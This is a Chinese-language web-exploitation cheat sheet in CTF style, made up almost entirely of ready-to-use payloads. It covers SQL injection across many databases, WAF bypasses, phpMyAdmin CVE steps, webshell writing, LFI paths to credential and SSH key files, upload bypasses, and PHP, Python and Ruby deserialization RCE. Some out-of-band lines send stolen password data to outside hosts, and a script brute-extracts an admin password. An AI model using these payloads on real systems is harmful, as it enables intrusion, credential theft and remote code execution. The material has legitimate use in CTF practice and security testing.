會爛?id=0e1union(select~1,2,3)
(~)?id=.1union select 1,2,3
(點)
WHERE
=>HAVING
(繞關鍵字)AND
=>&&
(繞關鍵字)OR
=>||
=
=>LIKE
a = 'b'
=>not a > 'b' and not a < 'b'
> 10
=>not between 0 and 10
LIMIT 0,1
=>LIMIT 1 OFFSET 0
(繞逗號)substr('kaibro',1,1)
=>substr('kaibro' from 1 for 1)
- Multipart/form-data繞過
- 偽造User-Agent
- e.g. 有些WAF不封google bot
-
phpMyAdmin
- 寫文件 getshell
- 條件
- root 權限
- 已知web路徑
- 有寫檔權限
select "<?php phpinfo();?>" INTO OUTFILE "c:\\phpstudy\\www\\shell.php"
- 條件
- general_log getshell
- 條件
- 讀寫權限
- 已知web路徑
- step1. 開啟日誌:
set global general_log = "ON";
- step2. 指定日誌文件:
set global general_log_file = "/var/www/html/shell.php";
- step3. 寫入php:
select "<?php phpinfo();?>";
- 條件
- slow_query getshell
- step1. 設置日誌路徑:
set GLOBAL slow_query_log_file='/var/www/html/shell.php';
- step2. 開啟slow_query_log:
set GLOBAL slow_query_log=on;
- step3. 寫入php:
select '<?php phpinfo();?>' from mysql.db where sleep(10);
- step1. 設置日誌路徑:
- CVE-2018-19968
- phpMyAdmin versions: 4.8.0 ~ 4.8.3
- LFI to RCE
- 條件
- 能登入後台
- step1.
CREATE DATABASE foo;CREATE TABLE foo.bar (baz VARCHAR(100) PRIMARY KEY );INSERT INTO foo.bar SELECT '<?php phpinfo(); ?>';
- step2.
/chk_rel.php?fixall_pmadb=1&db=foo
- step3.
INSERT INTO` pma__column_infoSELECT '1', 'foo', 'bar', 'baz', 'plop','plop', ' plop', 'plop','../../../../../../../../tmp/sess_{SESSIONID}','plop';
- step4.
/tbl_replace.php?db=foo&table=bar&where_clause=1=1&fields_name[multi_edit][][]=baz&clause_is_unique=1
- CVE-2018-12613
- phpMyAdmin versions: 4.8.x
- LFI to RCE
- 條件
- 能登入後台
- Payload
index.php?target=db_sql.php%253f/../../../../../../windows/system.ini
index.php?target=sql.php%253f/../../../tmp/tmp/sess_16rme70p2qqnqjnhdiq3i6unu
- 在控制台執行的 sql 語句會被寫入 session
- Session id 可以從 cookie
phpMyAdmin
得到
- CVE-2016-5734
- phpmyadmin versions:
- 4.0.10.16 之前的4.0.x版本
- 4.4.15.7 之前的 4.4.x版本
- 4.6.3之前的 4.6.x版本
- php version:
- 4.3.0 ~ 5.4.6
preg_replace
RCE- 條件
- 能登入後台
- phpmyadmin versions:
- CVE-2014-8959
- phpMyAdmin version:
- 4.0.1 ~ 4.2.12
- php version:
- < 5.3.4
- 條件
- 能登入後台
- 能截斷
- Payload:
gis_data_editor.php?token=2941949d3768c57b4342d94ace606e91&gis_data[gis_type]=/../../../../phpinfo.txt%00
(需修改token)
- phpMyAdmin version:
- CVE-2013-3238
- versions: 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
- https://www.exploit-db.com/exploits/25136
- CVE-2012-5159
- versions: v3.5.2.2
- server_sync.php Backdoor
- https://www.exploit-db.com/exploits/21834
- CVE-2009-1151
- versions: 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
- config/config.inc.php 命令執行
- https://www.exploit-db.com/exploits/8921
- 弱密碼 / 萬用密碼
- phpmyadmin 2.11.9.2: root/空密碼
- phpmyadmin 2.11.3 / 2.11.4: 用戶名:
'localhost'@'@"
- 寫文件 getshell
-
子字串:
SUBSTRING("abc", 1, 1) => 'a'
-
Ascii function
ascii('A') => 65
-
Char function
char(65) => 'a'
-
Concatenation
+
'a'+'b' => 'ab'
-
Delay function
WAIT FOR DELAY '0:0:10'
-
空白字元
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
-
IF語句
- IF condition true-part ELSE false-part
IF (1=1) SELECT 'true' ELSE SELECT 'false'
-
註解:
--
/**/
-
TOP
- MSSQL沒有
LIMIT N, M
的用法 SELECT TOP 87 * FROM xxx
取最前面87筆- 取第78~87筆
SELECT pass FROM (SELECT pass, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM mydb.dbo.mytable)x WHERE LIMIT between 78 and 87
- MSSQL沒有
-
其它:
- user
- db_name()
- user_name()
- @@version
- @@language
- @@servername
- host_name()
- has_dbaccess('master')
-
查詢用戶
select name, loginame from master..syslogins, master..sysprocesses
-
查用戶密碼
select user,password from master.dbo.syslogins
-
當前角色是否為資料庫管理員
SELECT is_srvrolemember('sysadmin')
-
當前角色是否為db_owner
SELECT IS_MEMBER('db_owner')
-
爆DB name
DB_NAME(N)
UNION SELECT NULL,DB_NAME(N),NULL--
UNION SELECT NULL,name,NULL FROM master ..sysdatabases--
SELECT catalog_name FROM information_schema.schemata
1=(select name from master.dbo.sysdatabases where dbid=5)
-
爆表名
SELECT table_catalog, table_name FROM information_schema.tables
SELECT name FROM sysobjects WHERE xtype='U'
ID=02';if (select top 1 name from DBname..sysobjects where xtype='U' and name not in ('table1', 'table2'))>0 select 1--
-
爆column
SELECT table_catalog, table_name, column_name FROM information_schema.columns
SELECT name FROM syscolumns WHERE id=object_id('news')
ID=1337';if (select top 1 col_name(object_id('table_name'), i) from sysobjects)>0 select 1--
SELECT name FROM DBNAME..syscolumns WHERE id=(SELECT id FROM DBNAME..sysobjects WHERE name='TABLENAME')
-
一次性獲取全部資料
select quotename(name) from master..sysdatabases FOR XML PATH('')
select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns for json auto
-
Union Based
- Column型態必須相同
- 可用
NULL
來避免
-
Error Based
- 利用型別轉換錯誤
id=1 and user=0
-
Out of Band
declare @p varchar(1024);set @p=(SELECT xxxx);exec('master..xp_dirtree "//'+@p+'.oob.kaibro.tw/a"')
fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null)
- Requires VIEW SERVER STATE permission on the server
fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)
- Requires the CONTROL SERVER permission.
fn_trace_gettable('\\'%2b(select pass from users where id=1)%2b'.oob.kaibro.tw',default)
- Requires the CONTROL SERVER permission.
-
判斷是否站庫分離
- 客戶端主機名:
select host_name();
- 服務端主機名:
select @@servername;
- 兩者不同即站庫分離
- 客戶端主機名:
-
讀檔
select x from OpenRowset(BULK 'C:\Windows\win.ini',SINGLE_CLOB) R(x)
-
xp_cmdshell
- 在MSSQL 2000默認開啟
- MSSQL 2005之後默認關閉
- 有sa權限,可透過sp_configure重啟它
EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE
-
執行 command
exec xp_cmdshell 'whoami'
-
關閉xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure'xp_cmdshell', 0; RECONFIGURE;
-
快速查找帶關鍵字的表
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = 'U' AND (syscolumns.name LIKE '%pass%' or syscolumns.name LIKE '%pwd%' or syscolumns.name LIKE '%first%');
-
繞 WAF
- Non-standard whitespace character:
1%C2%85union%C2%85select%C2%A0null,@@version,null--
- 混淆 UNION
0eunion+select+null,@@version,null--
- Unicode繞過
- IIS 對 Unicode 編碼是可以解析的,即 s%u0065lect 會被解析為 select
- Non-standard whitespace character:
-
SELECT
語句必須包含FROM
- 未指定來源,可以用
dual
表
- 未指定來源,可以用
-
子字串:
SUBSTR('abc', 1, 1) => 'a'
-
空白字元
00 0A 0D 0C 09 20
-
IF語句
IF condition THEN true-part [ELSE false-part] END IF
-
註解:
--
/**/
-
不支援 limit
- 改用 rownum
select table_name from (select rownum no, table_name from all_tables) where no=1
-
單雙引號
- 單引號: string, date
- 雙引號: identifier (table name, column name, ...)
-
其它
SYS.DATABASE_NAME
- current database
USER
- current user
- or
sys.login_user
SELECT role FROM session_roles
- current role
SELECT privilege FROM user_sys_privs
- system privileges granted to the current user
SELECT privilege FROM role_sys_privs
- privs the current role has
SELECT privilege FROM session_privs
- the all privs that current user has = user_sys_privs + role_sys_privs
SELECT banner FROM v$version where rownum=1
- database version
SELECT host_name FROM v$instance;
- Name of the host machine
utl_inaddr.get_host_address
- 本機IP
select utl_inaddr.get_host_name('87.87.87.87') from dual
- IP反解
-
庫名(schema)
SELECT DISTINCT OWNER FROM ALL_TABLES
-
表名
SELECT OWNER, TABLE_NAME FROM ALL_TABLES
-
Column
SELECT OWNER, TABLE_NAME, COLUMN_NAME FROM ALL_TAB_COLUMNS
-
Union Based
- Column型態必須相同
- 可用
NULL
來避免 UNION SELECT 1, 'aa', null FROM dual
-
Time Based
dbms_pipe.receive_message(('a'),10)
SELECT CASE WHEN (CONDITION_HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual
-
Error Based
CTXSYS.DRITHSX.SN
SELECT * FROM news WHERE id=1 and CTXSYS.DRITHSX.SN(user, (SELECT banner FROM v$version WHERE rownum=1))=1
utl_inaddr.get_host_name
and 1=utl_inaddr.get_host_name((SQL in HERE))
- 版本>=11g,需要超級用戶或授予網路權限的用戶才能用
dbms_xdb_version.checkin
and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
dbms_xdb_version.makeversioned
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
dbms_xdb_version.uncheckout
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
dbms_utility.sqlid_to_sqlhash
and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
-
Out of band
UTL_HTTP.request('http://kaibro.tw/'||(select user from dual))=1
SYS.DBMS_LDAP.INIT()
utl_inaddr.get_host_address()
HTTPURITYPE
SELECT HTTPURITYPE('http://30cm.club/index.php').GETCLOB() FROM DUAL;
extractvalue()
XXESELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT xxxx)||'.oob.kaibro.tw/"> %remote;]>'),'/l') FROM dual
- 新版已patch
-
users
select username from all_users
- lists all users of the database
select name, password from sys.user$
select username,password,account_status from dba_users
-
特殊用法
DBMS_XMLGEN.getXML('select user from dual')
dbms_java.runjava('com/sun/tools/script/shell/Main -e "var p = java.lang.Runtime.getRuntime().exec(''$cmd'');"')
- Java code execution
- 子字串:
substr(“abc",1,1) => 'a'
- Ascii function:
unicode('d') => 100
- legth
length('ab') => 2
- Concatenation
||
'a' || 'b' => 'ab'
- Time Delay
randomblob(100000000)
- 空白字元
0A 0D 0C 09 20
- Case when
- SQLite沒有
if
- 可以用
Case When ... Then ...
代替 case when (條件) then ... else ... end
- SQLite沒有
- 註解
--
- 爆表名
SELECT name FROM sqlite_master WHERE type='table'
- 爆表結構(含Column)
SELECT sql FROM sqlite_master WHERE type='table'
- 其他
sqlite_version()
- sqlite無法使用
\'
跳脫單引號 []
神奇用法CREATE TABLE a AS SELECT sql [ some shit... ]FROM sqlite_master;
- CREATE TABLE 後面也能接 SELECT condition
- zer0pts CTF 2020 - phpNantokaAdmin
- Boolean Based: SECCON 2017 qual SqlSRF
Click here to view script
# encoding: UTF-8
# sqlite injection (POST method) (二分搜)
# SECCON sqlsrf爆admin密碼
require 'net/http'
require 'uri'
$url = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'
$ans = ''
(1..100).each do |i|
l = 48
r = 122
while(l <= r)
#puts "left: #{l}, right: #{r}"
break if l == r
mid = ((l + r) / 2)
$query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e' where (select unicode(substr(password,#{i},#{i})) from users where username='admin') > #{mid} and '1'='1"
res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" => "kaibro", "login" => "Login"}
if res.body.include? 'document.location'
l = mid + 1
else
r = mid
end
end
$ans += l.chr
puts $ans
end
- 子字串
substr("abc", 1, 1) => 'a'
- Ascii function
ascii('x') => 120
- Char function
chr(65) => A
- Concatenation
||
'a' || 'b' => 'ab'
- Delay function
pg_sleep(5)
GENERATE_SERIES(1, 1000000)
repeat('a', 10000000)
- 空白字元
0A 0D 0C 09 20
- encode / decode
encode('123\\000\\001', 'base64')
=>MTIzAAE=
decode('MTIzAAE=', 'base64')
=>123\000\001
- 不支援limit N, M
limit a offset b
略過前b筆,抓出a筆出來
- 註解
--
/**/
- $$ 取代引號
SELECT $$This is a string$$
- 爆庫名
SELECT datname FROM pg_database
- 爆表名
SELECT tablename FROM pg_tables WHERE schemaname='dbname'
- 爆Column
SELECT column_name FROM information_schema.columns WHERE table_name='admin'
- Dump all
array_to_string(array(select userid||':'||password from users),',')
- 列舉用戶 hash
SELECT usename, passwd FROM pg_shadow
- RCE
- CVE-2019–9193
- 在 9.3 版本實作了
COPY TO/FROM PROGRAM
- 版本 9.3 ~ 11.2 預設啟用
- 讓 super user 和任何在
pg_read_server_files
群組的 user 可以執行任意指令 - 方法
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
- 在 9.3 版本實作了
- 版本 8.2 以前
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
select system('id');
- UDF
- sqlmap udf: https://github.com/sqlmapproject/sqlmap/tree/master/data/udf/postgresql
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/xxx/cmd.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
SELECT sys_eval("id");
- CVE-2019–9193
- 其它
- version()
- current_database()
- user
- current_user
SELECT usename FROM pg_user;
- getpgusername()
- current_schema
- current_query()
- inet_server_addr()
- inet_server_port()
- inet_client_addr()
- inet_client_port()
- type conversion
cast(count(*) as text)
md5('abc')
replace('abcdefabcdef', 'cd', 'XX')
=>abXXefabXXef
pg_read_file(filename, offset, length)
- 讀檔
- 只能讀data_directory下的
pg_ls_dir(dirname)
- 列目錄內容
- 只能列data_directory下的
- PHP的
pg_query()
可以多語句執行 lo_import()
,lo_get()
讀檔select cast(lo_import('/var/lib/postgresql/data/secret') as text)
=>18440
select cast(lo_get(18440) as text)
=>secret_here
- 沒有註解
- 某些情況可以用
%00
,%16
來達到類似效果
- 某些情況可以用
- 沒有 Stacked Queries
- 沒有 Limit
- 可以用
TOP
,LAST
取代 'UNION SELECT TOP 5 xxx FROM yyy%00
- 可以用
- 沒有 Sleep, Benchmark, ...
- 支援 Subquery
'AND (SELECT TOP 1 'xxx' FROM table)%00
- String Concatenation
&
(%26
)+
(%2B
)'UNION SELECT 'aa' %2b 'bb' FROM table%00
- Ascii Function
ASC()
'UNION SELECT ASC('A') FROM table%00
- IF THEN
IFF(condition, true, false)
'UNION SELECT IFF(1=1, 'a', 'b') FROM table%00
- https://insomniasec.com/cdn-assets/Access-Through-Access.pdf
https://www.slideshare.net/0ang3el/new-methods-for-exploiting-orm-injections-in-java-applications
- Hibernate
- 單引號跳脫法
- MySQL中,單引號用
\'
跳脫 - HQL中,用兩個單引號
''
跳脫 'abc\''or 1=(SELECT 1)--'
- 在HQL是一個字串
- 在MySQL是字串+額外SQL語句
- MySQL中,單引號用
- Magic Function法
- PostgreSQL中內建
query_to_xml('Arbitary SQL')
- Oracle中有
dbms_xmlgen.getxml('SQL')
- PostgreSQL中內建
- 單引號跳脫法
HQL injection example (pwn2win 2017)
-
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select table_name from information_schema.columns limit 1)))',true,false,'')),1)
- Output:
ERROR: could not stat file "flag": No such file or directory
- Output:
-
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select column_name from information_schema.columns limit 1)))',true,false,'')),1)
- Output:
ERROR: could not stat file "secret": No such file or directory
- Output:
-
order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)
- Output:
ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directory
- Output:
$sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";
- ffifdyop
- md5:
276f722736c95d99e921722cf9ed621c
- to string:
'or'6<trash>
- md5:
id=1&id=2&id=3
- ASP.NET + IIS:
id=1,2,3
- ASP + IIS:
id=1,2,3
- PHP + Apache:
id=3
- ASP.NET + IIS:
- https://github.com/sqlmapproject/sqlmap/wiki/Usage
- Usage
python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'
- 庫名:
--dbs
- 表名:
-D dbname --tables
- column:
-D dbname -T tbname --columns
- dump:
-D dbname -T tbname --dump
--start=1
--stop=5566
- DBA?
--is-dba
- 爆帳密:
--passwords
- 看權限:
--privileges
- 拿shell:
--os-shell
- interative SQL:
--sql-shell
- 讀檔:
--file-read=/etc/passwd
- Delay時間:
--time-sec=10
- User-Agent:
--random-agent
- Thread:
--threads=10
- Level:
--level=3
- default: 1
--technique
- default:
BEUSTQ
- default:
- Cookie:
--cookie="abc=55667788"
- Tor:
--tor --check-tor --tor-type=SOCKS5 --tor-port=9050
- 庫名:
-
Common Payload
./index.php
././index.php
.//index.php
../../../../../../etc/passwd
../../../../../../etc/passwd%00
- 僅在5.3.0以下可用
- magic_quotes_gpc需為OFF
....//....//....//....//etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%252e/%252e/etc/passwd
NN/NN/NN/etc/passwd
.+./.+./.+./.+./.+./.+./.+./.+./.+./.+./etc/passwd
static\..\..\..\..\..\..\..\..\etc\passwd
-
Config
/usr/local/apache2/conf/httpd.conf
/usr/local/etc/apache2/httpd.conf
/usr/local/nginx/conf/nginx.conf
/etc/apache2/sites-available/000-default.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/nginx/conf.d/default.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/default
/etc/nginx/sites-enabled/default.conf
/etc/mysql/my.cnf
/etc/resolv.conf
/etc/named.conf
/etc/rsyslog.conf
/etc/samba/smb.conf
/etc/openldap/slapd.conf
/etc/mongod.conf
/etc/krb5.conf
~/.tmux.conf
~/.mongorc.js
$TOMCAT_HOME/conf/tomcat-users.xml
$TOMCAT_HOME/conf/server.xml
-
Log
/var/log/apache2/error.log
/var/log/httpd/access_log
/var/log/mail.log
/var/log/auth.log
/var/log/messages
/var/log/secure
/var/log/sshd.log
/var/log/mysqld.log
/var/log/mongodb/mongod.log
.pm2/pm2.log
$TOMCAT_HOME/logs/catalina.out
-
History
.history
.bash_history
.sh_history
.zsh_history
.viminfo
.php_history
.mysql_history
.dbshell
.histfile
.node_repl_history
.python_history
.scapy_history
.sqlite_history
.psql_history
.rediscli_history
.coffee_history
.lesshst
.wget-hsts
.config/fish/fish_history
.local/share/fish/fish_history
.ipython/profile_default/history.sqlite
-
其他
/proc/self/cmdline
/proc/self/fd/[0-9]*
/proc/self/environ
/proc/net/fib_trie
/proc/mounts
/proc/net/arp
/proc/net/tcp
/proc/sched_debug
.htaccess
~/.bashrc
~/.bash_profile
~/.bash_logout
~/.zshrc
~/.aws/config
~/.aws/credentials
~/.boto
~/.s3cfg
~/.gitconfig
~/.config/git/config
~/.git-credentials
~/.env
/etc/passwd
/etc/shadow
/etc/hosts
/etc/rc.d/rc.local
/etc/boto.cfg
/root/.ssh/id_rsa
/root/.ssh/authorized_keys
/root/.ssh/known_hosts
/root/.ssh/config
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/exports
/etc/crontab
/var/spool/cron/root
/var/spool/cron/crontabs/root
/var/mail/<username>
C:/Windows/win.ini
C:/boot.ini
C:/apache/logs/access.log
../../../../../../../../../boot.ini/.......................
%WINDIR%\System32\drivers\etc\hosts
C:\WINDOWS\System32\Config\SAM
C:/WINDOWS/repair/sam
C:/WINDOWS/repair/system
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\RegBack\system
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\iis[version].log
%WINDIR%\debug\NetSetup.log
%SYSTEMDRIVE%\autoexec.bat
C:\Documents and Settings\All Users\Application Data\Git\config
C:\ProgramData\Git\config
$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
../../../../proc/self/environ
- HTTP_User_Agent塞php script
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-decode/resource=index.php
php://filter/read=string.rot13/resource=index.php
php://filter/zlib.deflate/resource=index.php
php://filter/zlib.inflate/resource=index.php
php://filter/convert.quoted-printable-encode/resource=index.php
php://filter/read=string.strip_tags/resource=php://input
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=index.php
php://filter/convert.iconv.UCS-4LE.UCS-4BE/resource=index.php
- ...
?page=php://input
- post data:
<?php system("net user"); ?>
- 需要有開啟
url_allow_include
,5.4.0直接廢除
- post data:
- 對server以form-data上傳文件,會產生tmp檔
- 利用phpinfo得到tmp檔路徑和名稱
- LFI Get shell
- 限制
- Ubuntu 17後,預設開啟
PrivateTmp
,無法利用
- Ubuntu 17後,預設開啟
- Session一般存在
sess_{PHPSESSID}
中 - 可以透過修改Cookie再LFI拿shell
- 以下為常見存放路徑
- /var/tmp/
- /tmp/
- /var/lib/php5/
- /var/lib/php/
- C:\windows\temp\sess_
- windows
session.upload_progress
- PHP預設開啟
- 用來監控上傳檔案進度
- 當
session.upload_progress.enabled
開啟,可以POST在$_SESSION
中添加資料 (sess_{PHPSESSID}
) - 配合LFI可以getshell
session.upload_progress.cleanup=on
時,可以透過Race condition- Example
- 條件
- allow_url_fopen: On
- allow_url_include: On
- 用法
?file=data://text/plain,<?php phpinfo()?>
?file=data:text/plain,<?php phpinfo()?>
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
- 適用驗證副檔名時
- zip
- 新建zip,裡頭壓縮php腳本(可改副檔名)
?file=zip://myzip.zip#php.jpg
- phar
-
<?php $p = new PharData(dirname(__FILE__).'/phartest.zip',0,'phartest2',Phar::ZIP); $x = file_get_contents('./a.php'); $p->addFromString('b.jpg', $x); ?>
- 構造
?file=phar://phartest.zip/b.jpg
-
- 通常放在
.shtml
,.shtm
,.stm
- Execute Command
<!--#exec cmd="command"-->
- File Include
<!--#include file="../../web.config"-->
- Example
- Burp Suite 中間修改
- disable javascript
- Burp修改Content-Type
-
大小寫繞過
- pHP
- AsP
-
空格 / 點 / Null 繞過
- Windows特性
- .php(空格) // burp修改
- .asp.
- .php%00.jpg
-
php3457
- .php3
- .php4
- .php5
- .php7
- .pht
- .phtml
-
asp
- asa
- cer
- cdx
-
aspx
- ascx
- ashx
- asmx
- asac
- soap
- svc
- master
- web.config
-
jsp
- jspa
- jspf
- jspx
- jsw
- jsv
- jtml
-
.htaccess
<FilesMatch "kai"> SetHandler application/x-httpd-php </FilesMatch>
-
.user.ini
- 只要 fastcgi 運行的 php 都適用 (nginx/apache/iis)
- 用戶自定義的設定檔
- 可以設置
PHP_INI_PERDIR
和PHP_INI_USER
的設定 - 可以動態載入,不用重啟
- 可以設置
- 使用前提: 該目錄下必須有php文件
auto_prepend_file=test.jpg
-
文件解析漏洞
-
NTFS ADS
test.php:a.jpg
- 生成
test.php
- 空內容
- 生成
test.php::$DATA
- 生成
test.php
- 內容不變
- 生成
test.php::$INDEX_ALLOCATION
- 生成
test.php
資料夾
- 生成
test.php::$DATA.jpg
- 生成
0.jpg
- 內容不變
- 生成
test.php::$DATA\aaa.jpg
- 生成
aaa.jpg
- 內容不變
- 生成
- jpg
FF D8 FF E0 00 10 4A 46 49 46
- gif
47 49 36 38 39 61
- png
89 50 4E 47
- 常見場景:配合文件解析漏洞
- 超長檔名截斷
__construct()
- Object被new時調用,但unserialize()不調用
__destruct()
- Object被銷毀時調用
__wakeup()
- unserialize時自動調用
__sleep()
- 被serialize時調用
__toString()
- 物件被當成字串時調用
-
Value
- String
s:size:value;
- Integer
i:value;
- Boolean
b:value;
('1' or '0')
- NULL
N;
- Array
a:size:{key definition; value definition; (repeat per element)}
- Object
O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}
- 其他
- C - custom object
- R - pointer reference
- String
-
Public / Private / Protected 序列化
-
例如:class名字為:
Kaibro
,變數名字:test
-
若為
Public
,序列化後:...{s:4:"test";...}
-
若為
Private
,序列化後:...{s:12:"%00Kaibro%00test"}
-
若為
Protected
,序列化後:...{s:7:"%00*%00test";...}
-
Private和Protected會多兩個
NULL
byte
-
- Example
<?php
class Kaibro {
public $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);
- Input:
.php?str=O:6:"Kaibro":1:{s:4:"test";s:3:";id";}
- Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
- Example 2 - Private
<?php
class Kaibro {
private $test = "ggininder";
function __wakeup()
{
system("echo ".$this->test);
}
}
$input = $_GET['str'];
$kb = unserialize($input);
-
Input:
.php?str=O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:3:";id";}
-
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
-
CVE-2016-7124
- 影響版本:
- PHP5 < 5.6.25
- PHP7 < 7.0.10
- 物件屬性個數大於真正的屬性個數,會略過
__wakeup
的執行 - 反序列化會失敗,但是
__destruct
會執行 - HITCON 2016
- 影響版本:
-
小特性
O:+4:"test":1:{s:1:"a";s:3:"aaa";}
O:4:"test":1:{s:1:"a";s:3:"aaa";}
- 兩者結果相同
-
Fast Destruct
- 強迫物件被 Destruct
- 把物件放進 Array,並用相同的 key 蓋掉這個物件,即可強迫呼叫
__destruct()
Array('key1' => classA, 'key1' => classB)
- https://github.com/ambionics/phpggc#fast-destruct
- Example
-
ASCII Strings
- 使用
S
的序列化格式,則可以將字串內容改用 hex 表示s:5:"A<null_byte>B<cr><lf>";̀
=>S:5:"A\00B\09\0D";
- 繞 WAF
- https://github.com/ambionics/phpggc#ascii-strings
- Example
- Balsn CTF 2020 - L5D
- 网鼎杯2020 青龙组 - AreUSerialz
- 使用
-
Phar:// 反序列化
- phar文件會將使用者自定義的metadata以序列化形式保存
- 透過
phar://
偽協議可以達到反序列化的效果 - 常見影響函數:
file_get_contents()
,file_exists()
,is_dir()
, ... - Generic Gadget Chains
- Example
dumps()
將物件序列化成字串loads()
將字串反序列化
Example:
a.py:
import os
import cPickle
import sys
import base64
class Exploit(object):
def __reduce__(self):
return (os.system, ('id',))
shellcode = cPickle.dumps(Exploit())
print base64.b64encode(shellcode)
b.py:
import os
import cPickle
import sys
import base64
s = raw_input(":")
print cPickle.loads(base64.b64decode(s))
$ python a.py > tmp
$ cat tmp | python b.py
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
- 補充: NumPy CVE-2019-6446 RCE
- 影響 NumPy <=1.16.0
- 底層使用 pickle
this one is not self-executing
this one actually relies on rails invoking a method on the resulting object after the deserialization
erb = ERB.allocate
erb.instance_variable_set :@src, "`id`"
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result, "foo", ActiveSupport::Deprecation
hash = {depr => 'something'}
marshalled = Marshal.dump(hash)
print marshalled
在ERB上,當result或run method被call時,@src的string會被執行
-
常見使用情境:
- 以Marshal為Cookie Serializer時,若有
secret_key
,則可以偽造Cookie - 也可以透過
DeprecatedInstanceVariableProxy
去執行ERB的result
來RCE- 當
DeprecatedInstanceVariableProxy
被unmarshal,rails session對他處理時遇到不認識的method就會呼叫method_missing
,導致執行傳入的ERB @instance.__send__(@method)
- 當
- 以Marshal為Cookie Serializer時,若有
-
Cookie Serializer
- Rails 4.1以前的Cookie Serializer為Marshal
- Rails 4.1開始,默認使用JSON
- CVE-2013-0156
- 舊版本的Rails中,
XML
的node可以自訂type,如果指定為yaml
,是會被成功解析的 - 若反序列化
!ruby/hash
,則相當於在物件上調用obj[key]=val
,也就是[]=
方法 - 而這個
ActionDispatch::Routing::RouteSet::NamedRouteCollection
中的[]=
方法中,有一條代碼路徑可以eval define_hash_access
中可以看到module_eval
,裏頭的selector
來自name
- 因為他還會對
value
調用defaults
method,所以可以利用OpenStruct
來構造函數名=>返回值
的對應關係存放在@table
中
- Payload:
xml = %{ <?xml version="1.0" encoding="UTF-8"?> <bingo type='yaml'> ---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection 'test; sleep(10); test' : !ruby/object:OpenStruct table: :defaults: {} </bingo> }.strip
- 舊版本的Rails中,
- CVE-2013-0333
- Rails 2.3.x和3.0.x中,允許
text/json
的request轉成YAML
解析 Yaml
在Rails 3.0.x是預設的JSON Backend
- 出問題的地方在於
YAML.load
前的convert_json_to_yaml
,他不會檢查輸入的JSON是否合法 - 一樣可以透過
ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access
的module_eval
來RCE
- Rails 2.3.x和3.0.x中,允許
- 序列化資料特徵
ac ed 00 05 ...
rO0AB ...
(Base64)
- 反序列化觸發點
readObject()
readExternal()
- ...
- JEP290
- Java 9 新特性,並向下支援到 8u121, 7u13, 6u141
- 增加黑、白名單機制
- Builtin Filter
- JDK 包含了 Builtin Filter (白名單機制) 在 RMI Registry 和 RMI Distributed Garbage Collector
- 只允許特定 class 被反序列化
- 許多 RMI Payload 失效 (即便 classpath 有 gadegt)
- Codebase
